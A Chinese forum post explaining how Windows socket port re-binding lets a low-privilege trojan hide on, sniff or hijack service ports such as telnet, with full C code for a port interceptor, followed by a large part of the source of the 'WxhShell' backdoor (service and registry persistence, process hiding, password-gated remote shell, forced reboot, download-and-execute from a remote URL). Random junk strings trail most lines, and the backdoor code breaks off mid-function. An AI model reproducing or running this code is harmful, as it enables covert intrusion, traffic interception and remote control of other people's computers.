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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K ,+`td#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S3btx9y{  
LP#CA^*S  
  saddr.sin_family = AF_INET; 8t0i j  
"x3_cA~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [Z~>7ayF+)  
^EZ)NG=e5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;bkS0Vmg  
E(8O3*=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D;d 'ss;  
f5mk\^  
  这意味着什么?意味着可以进行如下的攻击: ,7 >_Lp_v  
_mA[^G=gY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~'v^__8  
r(J7&vR}h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lT1*e(I  
I{B8'n{cN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 klv^310  
izmL8U ?t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  + +D(P=4hi  
T-f+<Cxf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '00DUUa  
d=N5cCqq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u&2uQ-T0  
[C P V5\2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P8z+ +h  
\muyL?  
  #include >d#B149  
  #include ;( VJZ_  
  #include 93[`1_q7\  
  #include    LOR$d^l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /DZKz"N  
  int main() kf&id/|  
  { ;)c SdA9  
  WORD wVersionRequested; pZ OVD%  
  DWORD ret; {lx^57v  
  WSADATA wsaData; D#^v=U  
  BOOL val; $].< /  
  SOCKADDR_IN saddr; %0fj~s;  
  SOCKADDR_IN scaddr; dKZffDTZ  
  int err; f^m8 4o'  
  SOCKET s; VUagZ 7p  
  SOCKET sc; Z+I[  
  int caddsize; 'X@j  
  HANDLE mt; mbJ#-^}V  
  DWORD tid;   VEE:Z^U!  
  wVersionRequested = MAKEWORD( 2, 2 ); PyzW pf  
  err = WSAStartup( wVersionRequested, &wsaData ); AP/tBC eM  
  if ( err != 0 ) { wjKW 3  
  printf("error!WSAStartup failed!\n"); f<0-'fGJd  
  return -1; CZ|Y o  
  } X(g<rz1J]  
  saddr.sin_family = AF_INET;  _U#ue  
   <P g.N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @0n #Qs|E!  
,f} s!>j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L{<E'#@F  
  saddr.sin_port = htons(23); "1h|1'S50?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jq/([  
  {  yZdM4`  
  printf("error!socket failed!\n"); vTP'\^;  
  return -1; /$+ifiFT  
  } xxiEL2"`>  
  val = TRUE; 8~}Ti*Urc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sE-"TNONZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {.Nt#l  
  { 0Oe@0L%^3"  
  printf("error!setsockopt failed!\n"); Z</$~ T  
  return -1; ]UFf-  
  } 4*F+-fu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u_zp?Nc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IjJ3CJ<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <@@.~Qm'  
khW3z*e#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w9c  
  { nJA\P1@m  
  ret=GetLastError(); U2@?!B[\d`  
  printf("error!bind failed!\n"); `6Y'H2WJ?  
  return -1; "m/0>UU0  
  } ,v>P05  
  listen(s,2); @Je{;1   
  while(1) 611:eLyy&l  
  { l(%bdy  
  caddsize = sizeof(scaddr); OC"W=[Myl  
  //接受连接请求 ?ry`+nx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S(9fGh  
  if(sc!=INVALID_SOCKET) ]e)<CE2   
  { ]7c715@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IuB0C!'  
  if(mt==NULL) } Tp!Ub\Cc  
  { q$>At} 4  
  printf("Thread Creat Failed!\n"); )6IO)P/Q~  
  break; }$81FSKh  
  } mA3C)V  
  } *jf (TIU  
  CloseHandle(mt); ~H)bvN^  
  } 3ef]3  
  closesocket(s); 8;Yx a8ie  
  WSACleanup(); c KF 8(  
  return 0; 4}fG{Bk  
  }   tb{l(up/a  
  DWORD WINAPI ClientThread(LPVOID lpParam) ks 3<zW(  
  { mi<V(M~p  
  SOCKET ss = (SOCKET)lpParam; b^6Ooc/-k  
  SOCKET sc; V mKMj'  
  unsigned char buf[4096]; n#bC ,  
  SOCKADDR_IN saddr; TJ2$ Z  
  long num; N[ E t  
  DWORD val; 80 i<Ij8J  
  DWORD ret; dJ:EXVU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9M<qk si  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   umSbxEZU@  
  saddr.sin_family = AF_INET; %k5^n0|*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d,+d8X  
  saddr.sin_port = htons(23); h-Ffs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Cp5a2{  
  { oT%~)g  
  printf("error!socket failed!\n"); Pou`PNvH  
  return -1; f{k2sU*uBE  
  } iS=} | 8"  
  val = 100; 4CfPa6_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >%'|@75K  
  { /nGsl<  
  ret = GetLastError(); hJ+>Xm@@!  
  return -1; 9q;+ Al^Z  
  } ^hRos  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l;F3kA  
  { >/ W:*^g)  
  ret = GetLastError(); 0rjxWPc  
  return -1; 7 45Uo'  
  } JX`+b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q<D'"7#.  
  { ![{>f6{J  
  printf("error!socket connect failed!\n");  ()=  
  closesocket(sc); q %8,@xg  
  closesocket(ss); zD7\Gv  
  return -1; g}P.ksM  
  } ;r"YZs&Xd  
  while(1) Qc Ia%lf  
  { K"#np!Y)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [|Jz s[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )TBBYCL3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O: :X$O7  
  num = recv(ss,buf,4096,0); ixE72bX  
  if(num>0) d%u|) =7  
  send(sc,buf,num,0); Ef:.)!;jy  
  else if(num==0) E@Q+[~H}  
  break; ^MKvZ DOP  
  num = recv(sc,buf,4096,0); x.xfMM2n  
  if(num>0) D CcM~  
  send(ss,buf,num,0); )&;?|X+p  
  else if(num==0) : H0+}=  
  break; o!gl :izb  
  } =K- B I  
  closesocket(ss); m9a(f>C  
  closesocket(sc); <Gr{h>b  
  return 0 ; Qt+ K,LY  
  } -|"mB"Dc  
w8%<O^wN,  
1|q$Wn:*  
========================================================== -c~nmPEG6  
{: T'2+OH>  
下边附上一个代码,,WXhSHELL gH(,>}{^K  
@K3<K (  
========================================================== H YZ94[Ti  
- b:&ACY  
#include "stdafx.h" B9&"/tT  
9~SfZ,(  
#include <stdio.h> ~(~fuDT~O  
#include <string.h> =*~]lz__M  
#include <windows.h> @M?;~M?B]J  
#include <winsock2.h> 27<~m=`}d  
#include <winsvc.h> C;-9_;&  
#include <urlmon.h> 7D|g|i  
h%8[];*DpN  
#pragma comment (lib, "Ws2_32.lib") b$l@Z&[]  
#pragma comment (lib, "urlmon.lib") +DY% Y `0  
/608P:U  
#define MAX_USER   100 // 最大客户端连接数 nNSq6 Cj  
#define BUF_SOCK   200 // sock buffer g0: mm,t\  
#define KEY_BUFF   255 // 输入 buffer 2bPrND\P=  
2E9Cp  
#define REBOOT     0   // 重启 #tRLvOR:  
#define SHUTDOWN   1   // 关机 xrFFmQ<_W  
)}0(7z Yu  
#define DEF_PORT   5000 // 监听端口 j,Eo/f+j5  
] bz']`  
#define REG_LEN     16   // 注册表键长度  {F+7> X  
#define SVC_LEN     80   // NT服务名长度 }q^M  
jSsbLa@  
// 从dll定义API G&I\Za;   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }S\\"SBC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vUk <z*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5A g 4o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [y7BHikX)  
!_3R dS  
// wxhshell配置信息 zYvf}L&]h  
struct WSCFG { Uf}s6#   
  int ws_port;         // 监听端口 U3}r.9/  
  char ws_passstr[REG_LEN]; // 口令 l{[{pAm  
  int ws_autoins;       // 安装标记, 1=yes 0=no R4.$9_ ui  
  char ws_regname[REG_LEN]; // 注册表键名 Rq-BsMX!A  
  char ws_svcname[REG_LEN]; // 服务名 {*RyT.J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fI9 TzpV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "g;^R/sfq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /o Q^j'v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9D#"Ey  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V^Z"FwWk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j"{|* _6E_  
?W:YS82  
}; ~Gx"gK0  
fjVGps$ j  
// default Wxhshell configuration 9*pH[vH  
struct WSCFG wscfg={DEF_PORT, 3J%(2}{y  
    "xuhuanlingzhe", ;m`k#J?  
    1, uH!uSB2  
    "Wxhshell", q+<X*yC  
    "Wxhshell", ~xZFm  
            "WxhShell Service", vPz$jeA  
    "Wrsky Windows CmdShell Service", "xe %  IS  
    "Please Input Your Password: ", l*V]54|ON3  
  1, "#anL8  
  "http://www.wrsky.com/wxhshell.exe", D/[(}o(  
  "Wxhshell.exe" \bNN]=  
    }; xfZ.  
,Dd )=  
// 消息定义模块 6c>cq\~E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Tz5tU9kR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^Tgu]t   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cy T,tN  
char *msg_ws_ext="\n\rExit."; |)`<D  
char *msg_ws_end="\n\rQuit."; hfw$820y[  
char *msg_ws_boot="\n\rReboot..."; \Jq$!foYx  
char *msg_ws_poff="\n\rShutdown..."; ^x8*]Sz#x  
char *msg_ws_down="\n\rSave to "; "& h;\hL  
<mN.6@*{  
char *msg_ws_err="\n\rErr!"; fn(< <FA)  
char *msg_ws_ok="\n\rOK!"; GvQKFgO6h  
/Z`("X?_Kf  
char ExeFile[MAX_PATH]; wq+%O,  
int nUser = 0; gx,BF#8}  
HANDLE handles[MAX_USER]; b|F4E{{D^  
int OsIsNt; #D4gNQg@R  
M#ED49Dh>  
SERVICE_STATUS       serviceStatus; D_mdX9-~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vcm66J.14  
8s^CE[TA  
// 函数声明 Awy-kou[C  
int Install(void); qYjR  
int Uninstall(void); AT*J '37  
int DownloadFile(char *sURL, SOCKET wsh); 7 L2$(d4  
int Boot(int flag); V/xGk9L~  
void HideProc(void); 8ExEhBX8  
int GetOsVer(void); )%H@.;cD_r  
int Wxhshell(SOCKET wsl); @ )nxX))a  
void TalkWithClient(void *cs); =*<Cw?Gc  
int CmdShell(SOCKET sock); m?wPZ^u  
int StartFromService(void);  @Tk5<B3  
int StartWxhshell(LPSTR lpCmdLine); O_-Lm4g?4  
ixc~DV+@[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MtWzGE=?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4L<h% 'Zn  
za$v I?ux  
// 数据结构和表定义 CRXIVver  
SERVICE_TABLE_ENTRY DispatchTable[] = }e[;~g\&  
{ ]rk8Jsg  
{wscfg.ws_svcname, NTServiceMain}, y*ux7KO  
{NULL, NULL} B'sgCU  
}; R)}ab{A  
b/^i  
// 自我安装 oZVq }}R  
int Install(void) _OR@S%$  
{ l@:|OGD;8  
  char svExeFile[MAX_PATH]; 9Q)9*nHe  
  HKEY key; !Miw.UmPm  
  strcpy(svExeFile,ExeFile); Y'n+,g  
ICq  
// 如果是win9x系统,修改注册表设为自启动 vq(ElXTO  
if(!OsIsNt) { /XEt2,sI9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qRk<1.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +q*Cw>t /  
  RegCloseKey(key); /O@TqH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _p <]jt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aS2Mx~  
  RegCloseKey(key); 8nKZ   
  return 0; bm`x;M^M  
    } Xx)PyO  
  } c_p7vvI&c0  
} FR5P;Yz%H  
else { ) H HBf<  
[yFf(>B  
// 如果是NT以上系统,安装为系统服务 8Qm%T7]UFb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e#{,M8  
if (schSCManager!=0) ?7?hDw_Nk  
{ 4n}tDHvd  
  SC_HANDLE schService = CreateService <,:p?36  
  ( "CH3\O\  
  schSCManager, L_ &`  
  wscfg.ws_svcname, xMOq/" )  
  wscfg.ws_svcdisp, TAd~#jB9  
  SERVICE_ALL_ACCESS, <4{Jm8zJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uC2-T5n'  
  SERVICE_AUTO_START, O%hmGW4  
  SERVICE_ERROR_NORMAL, Qf=+%-$Y  
  svExeFile, on0MhW  
  NULL, E$8 D^Zt  
  NULL, r:xbs0 7  
  NULL, V$OZC;4  
  NULL, cUB+fH<B2  
  NULL N A`qC.K   
  ); 3$TU2-x;g  
  if (schService!=0) }={TVs^  
  { Pjvzefp  
  CloseServiceHandle(schService); %qI.Qw$  
  CloseServiceHandle(schSCManager); $27QY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TAE@KSPvo  
  strcat(svExeFile,wscfg.ws_svcname); }I )%Gw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |O!G[|/3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [p:mja.6y  
  RegCloseKey(key); !Au@\/}  
  return 0; 7k<6oM1  
    } mBtXa|PJ  
  } ].(l^W  
  CloseServiceHandle(schSCManager); %k+G-oT5  
} W08rGY  
} wR(>' ?  
z\F#td{r  
return 1; $F#eD 0|  
} Lo{g0~?x*  
~R+,4  
// 自我卸载 e]!`Cl-f80  
int Uninstall(void) dX^d\ wX  
{ awC:{5R8v  
  HKEY key; *hV$\CLT.  
_G62E $=  
if(!OsIsNt) { !:^?GN#~x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lL<LJ :L  
  RegDeleteValue(key,wscfg.ws_regname); kM JA#{<  
  RegCloseKey(key); GxynLXWo>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J^y}3ON  
  RegDeleteValue(key,wscfg.ws_regname); -u nK;  
  RegCloseKey(key); U)sw IisE  
  return 0; nD5+&M0  
  } 8aMmz!S  
} Y<WA-dYoF  
} >;NiG)Z  
else { XusTU  
T=W;k<P\k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8N,mp>~  
if (schSCManager!=0) K'@lXA:  
{ hN"cXz"/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JjC& io  
  if (schService!=0) )?$zY5  
  { Q&?^eOI&#(  
  if(DeleteService(schService)!=0) { N~)RR {$w  
  CloseServiceHandle(schService); Kt*kARN?  
  CloseServiceHandle(schSCManager); >U9JbkeF  
  return 0; "?n;dXYSi  
  } {k15!(:i~a  
  CloseServiceHandle(schService); cAQ_/>  
  } Vm8rQFCp74  
  CloseServiceHandle(schSCManager); \b6vu^;p  
} W>'KE:!sp  
} K @h9 4Ni6  
hf1h*x^J  
return 1; N2Q b+  
} ?`+G0VT  
4R&e5!  
// 从指定url下载文件 |e+r|i]  
int DownloadFile(char *sURL, SOCKET wsh) 0/4"Jh$t  
{ 'u84d=*l  
  HRESULT hr; wpK[;  
char seps[]= "/"; i%3q*:A]2  
char *token; q}r{%ypf  
char *file; 'mm~+hp  
char myURL[MAX_PATH]; VTl\'>(Cl  
char myFILE[MAX_PATH]; tW[dJKw  
MD+e!A#o  
strcpy(myURL,sURL); HbZFL*2x3  
  token=strtok(myURL,seps); y8Oz4|  
  while(token!=NULL) Kj/{V  
  { ]q":ta!f  
    file=token; sD{d8s[(  
  token=strtok(NULL,seps); {;^GKb+  
  } x4Wu`-4^  
wN2D{Jj  
GetCurrentDirectory(MAX_PATH,myFILE); zS/1v+  
strcat(myFILE, "\\"); +zINnX  
strcat(myFILE, file); Q*W$!ZUT  
  send(wsh,myFILE,strlen(myFILE),0); mFx \[S  
send(wsh,"...",3,0); R\Of ,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pkEx.R)  
  if(hr==S_OK) 1F]jy  
return 0; bqcwZ6r<  
else SFkB,)Z N  
return 1; r=Od%  
EHF dQ0gIa  
} lDVw2J'p  
z:)z]6  
// 系统电源模块 ]?*L"()kp  
int Boot(int flag) o! Y61S(  
{ & oj$h  
  HANDLE hToken; T;1aL4w"  
  TOKEN_PRIVILEGES tkp; t+IrQf,P[  
mBON>Z [4.  
  if(OsIsNt) { =`/GB T$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G"|c_qX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L 4Sa,ZL  
    tkp.PrivilegeCount = 1; W+'f|J=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?!;i/h*{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K [R.B!;N  
if(flag==REBOOT) { * amZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N D1'XCN  
  return 0; /" 6Gh'  
} 5{\;7(  
else { >goG\y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #]}]ZE  
  return 0; 3dB{DuQ  
} A(T=  
  } VX,@Gp_'m  
  else { fK; I0J  
if(flag==REBOOT) { wY{!gQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) # |^yWw^  
  return 0; Hq0O!Zv  
} W&p f%?  
else { ZL+46fj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RWdx) qj{  
  return 0; 6T-iBJT  
} rPkPQn:  
} f,:2\b?.  
3&5AbIZ  
return 1; [9,34/i  
} 4\iy{1{E,C  
\$Aw[ 5&t  
// win9x进程隐藏模块 m4 :"c"  
void HideProc(void) 6UAw9 'X8  
{ jM;?);Dd  
@i>o+>V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )O$T; U  
  if ( hKernel != NULL ) NzC&ctPk  
  { w(UZmZb}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oG' 'my#3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =0mXTY1  
    FreeLibrary(hKernel); =fcRH:B:  
  } UmOK7SPi  
pL`)^BJ  
return; Bt(U,nFB  
} (/gMtIw  
)g[7XB/w  
// 获取操作系统版本 (F'?c1  
int GetOsVer(void) 6;p"xC-  
{ *#c^.4$'  
  OSVERSIONINFO winfo; =e|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %40+si3c  
  GetVersionEx(&winfo); (&xIB F_6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tN-B`d 1  
  return 1; 0s%]%2O N  
  else &U{"dJr  
  return 0; 'aJm4W&j  
} KJCi4O&  
?jH u,  
// 客户端句柄模块 v.{I^=  
int Wxhshell(SOCKET wsl) uV\~2#o$_  
{ L,* #  
  SOCKET wsh; Dt Ry%fA_  
  struct sockaddr_in client; i$dF0.}Q  
  DWORD myID; ;0;5+ J7  
#r;uM+  
  while(nUser<MAX_USER) Rkh ^|_<!  
{ $*vj7V_  
  int nSize=sizeof(client); * vP:+]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yy4l -}"  
  if(wsh==INVALID_SOCKET) return 1; gtJCvVj>g  
7 ^n{BsN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )d7U3i  
if(handles[nUser]==0) 4<y|SI!  
  closesocket(wsh); mcLxX'c6<h  
else A}z1~Z+  
  nUser++; oPC qv  
  } &WHK|bl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4KZ)`KPE  
MB3 N3,yL  
  return 0; C.Re*;EI,  
} a 8.Xy])!  
[*v- i%U}  
// 关闭 socket \!!1o+#1j  
void CloseIt(SOCKET wsh) 0;:AT|U/d  
{ pb}4{]sI  
closesocket(wsh); &1M#;rE;D#  
nUser--; }W$}blbp  
ExitThread(0); xT;j_'9U;  
} .R{+Pz D  
Aj "SSX!L  
// 客户端请求句柄 .q_SA-!w>  
void TalkWithClient(void *cs) HFTDea+#  
{ TDY =!  
8I%N^G  
  SOCKET wsh=(SOCKET)cs; Xr$hQbl5D  
  char pwd[SVC_LEN]; d{~Qd|<rr  
  char cmd[KEY_BUFF]; /<it2=  
char chr[1]; hnnPi  
int i,j; brClYpp,h  
VDC"tSQ  
  while (nUser < MAX_USER) { {6 brVN.V  
}I ^e:,{  
if(wscfg.ws_passstr) { jW0aIS2O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YV"LM6`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ">rt *?^  
  //ZeroMemory(pwd,KEY_BUFF); Cswa5 l`af  
      i=0; @ )m9#F  
  while(i<SVC_LEN) { jS'hs>Ot  
hv 8j$2m  
  // 设置超时 $-;x8O]u  
  fd_set FdRead; ~.f[K{h8  
  struct timeval TimeOut; 77o&$l,A|  
  FD_ZERO(&FdRead); ~7"6Y ]  
  FD_SET(wsh,&FdRead); ?*A"#0  
  TimeOut.tv_sec=8; 9S$?2z".2  
  TimeOut.tv_usec=0; IX y  $  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TM?7F2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AlQ  
R22P ol  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *'h vYl/?>  
  pwd=chr[0]; )uIH onXU  
  if(chr[0]==0xd || chr[0]==0xa) { z]F4Z'(e.  
  pwd=0; 7z4u?>pne*  
  break; ZeY kZzN  
  } L}5IX)#gH  
  i++; QW1d&Gb.(  
    } V;SXa|,  
'P5|[du+  
  // 如果是非法用户,关闭 socket )./.rtP|4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?{M!syD<  
} aok,qn'j  
C>*]a(5k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *,=WaODO%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :i_k A'dl&  
{|Pz9a- :  
while(1) { 0kB!EJ<OdG  
8{Id+Q>Vo,  
  ZeroMemory(cmd,KEY_BUFF); ,0R2k `m!  
 >o"3:/3  
      // 自动支持客户端 telnet标准   Ood'kAH1B  
  j=0; ]kd )j  
  while(j<KEY_BUFF) { wc5OK0|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VT&R1)c  
  cmd[j]=chr[0]; YOHYXhc{S  
  if(chr[0]==0xa || chr[0]==0xd) { LYY|8)Nj2"  
  cmd[j]=0; wf8GH}2A  
  break; -O=a"G=  
  } (iZE}qf7 g  
  j++; StuDtY  
    } 4SqZ V  
e!(0y)*  
  // 下载文件 fC4 D#  
  if(strstr(cmd,"http://")) { Z 7M%}V%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gB?~!J?  
  if(DownloadFile(cmd,wsh)) ~CB6+t>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iEf6oM  
  else Eb<iR)e H=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "wPFQXU  
  } G;%Pf9 o26  
  else { S6sw)  
uUczD 8y  
    switch(cmd[0]) { R.EA5X|_  
  &)p/cOiV  
  // 帮助 Y+#e| x  
  case '?': { 7gV"pa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `[;b#.  
    break; <k^P>Irb3t  
  } $MmCh&V  
  // 安装 .qioEqK8!y  
  case 'i': { ReCmv/AE  
    if(Install()) Zbp ByRyN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !m#cneV  
    else 'sL>U$(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a9q68  
    break; 1;l&ck-Gg/  
    } ZL`G<Mo;.  
  // 卸载 {da Nw>TH  
  case 'r': { %&yD^ q_  
    if(Uninstall()) Yp`6305f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w 1E}F  
    else _= _]Yx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sM?bUg0w  
    break; 1a)NM#  
    }  kQ$Q}3f  
  // 显示 wxhshell 所在路径  S< <xlW  
  case 'p': { |*N.SS  
    char svExeFile[MAX_PATH]; OjCT*qyU<  
    strcpy(svExeFile,"\n\r"); +SmcZ^\OZ  
      strcat(svExeFile,ExeFile); byv(:xk|'e  
        send(wsh,svExeFile,strlen(svExeFile),0); HlB'yOHv!  
    break; D4m2*%M  
    } >,`/ z  
  // 重启 Tv0|e'^  
  case 'b': { z+1#p.F$@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'A,&9E{%1  
    if(Boot(REBOOT)) R.R(|!w>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fz W%(.tc\  
    else { ?r QMOJR  
    closesocket(wsh); ,sk;|OAI  
    ExitThread(0); '?5=j1  
    } *0y+=,"QU  
    break; 3R?7&oXvH  
    } 5( lE$&   
  // 关机 9jiZtwRpk  
  case 'd': { AjaG .fa]k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aI|<t^X  
